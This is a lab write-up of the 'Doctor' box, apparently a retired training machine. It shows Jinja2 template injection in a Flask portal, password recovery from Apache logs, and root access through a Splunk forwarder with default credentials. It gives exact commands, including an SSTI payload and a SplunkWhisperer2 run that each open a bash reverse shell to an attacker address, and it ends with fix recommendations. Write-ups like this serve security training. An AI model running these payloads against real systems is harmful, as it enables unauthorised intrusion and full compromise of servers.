Doctor
Summary
I scanned the public-facing IP and discovered an Apache web server whose root redirected to a Flask-based medical-staff messaging portal running a Jinja2 template engine. A Server-Side Template Injection (SSTI) vulnerability in the post-creation form allowed any registered user to inject template directives that the server evaluated as Python code, yielding a reverse shell as the web application service account.
That account's membership in the system auditing group granted read access to Apache's raw HTTP access logs, where a prior user had accidentally submitted their password as a URL query parameter — logging it in plaintext. The recovered password '[REDACTED: recovered credential]' authenticated as local user 'shaun', whose home directory held the first flag.
Finally, the Splunk Universal Forwarder management API on port 8089 was reachable from the internet and protected only by factory-default credentials while its daemon ran as root. Uploading a malicious application bundle via the Splunk REST API caused the forwarder to execute my own script as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -sC -p 22,80,8089 $TARGETecho "$TARGET doctors.htb" | sudo tee -a /etc/hostscurl -sI http://$TARGET/Exact commands 4
curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/register -d "username=$USERNAME&email=$USERNAME@test.local&password=$PASSWORD2&confirm_password=$PASSWORD2"curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/login -d "email=$USERNAME@test.local&password=$PASSWORD2"curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new -d 'title={{7*7}}&content=probe'curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archive | grep -o '<[^>]*>[0-9]*<'FixNever render user-supplied input as a Jinja2 template fragmentCritical
Exact commands 3
nc -lvnp 4444curl -s -c cookies.txt -b cookies.txt -X POST http://doctors.htb/post/new --data-urlencode 'title={{request.application.__globals__.__builtins__.__import__("os").popen("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"").read()}}' -d 'content=x'curl -s -c cookies.txt -b cookies.txt http://doctors.htb/archiveExact commands 3
idls -la /var/log/apache2/grep -aEi "password|passwd|$PASSWORD" /var/log/apache2/backupFixPrevent passwords from appearing in HTTP logs and remove unnecessary adm group membershipHigh
Exact commands 2
printf "$PASSWORD\n" | su - shaun -c 'id; cat ~/user.txt'ssh shaun@$TARGETExact commands 5
curl -sk -u 'admin:$PASSWORD3' https://$TARGET:8089/services/server/info -o /dev/null -w '%{http_code}\n'git clone https://github.com/cnotin/SplunkWhisperer2.git && cd SplunkWhisperer2/PySplunkWhisperer2nc -lvnp 5555python3 PySplunkWhisperer2_remote.py --host $TARGET --port 8089 --username admin --password $PASSWORD3 --payload 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1"' --lhost $ATTACKER_IPcat /root/root.txtFixChange default Splunk credentials, bind the management port to loopback only, and run the forwarder as an unprivileged accountCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 8089/tcp | ssl/http Splunkd httpd |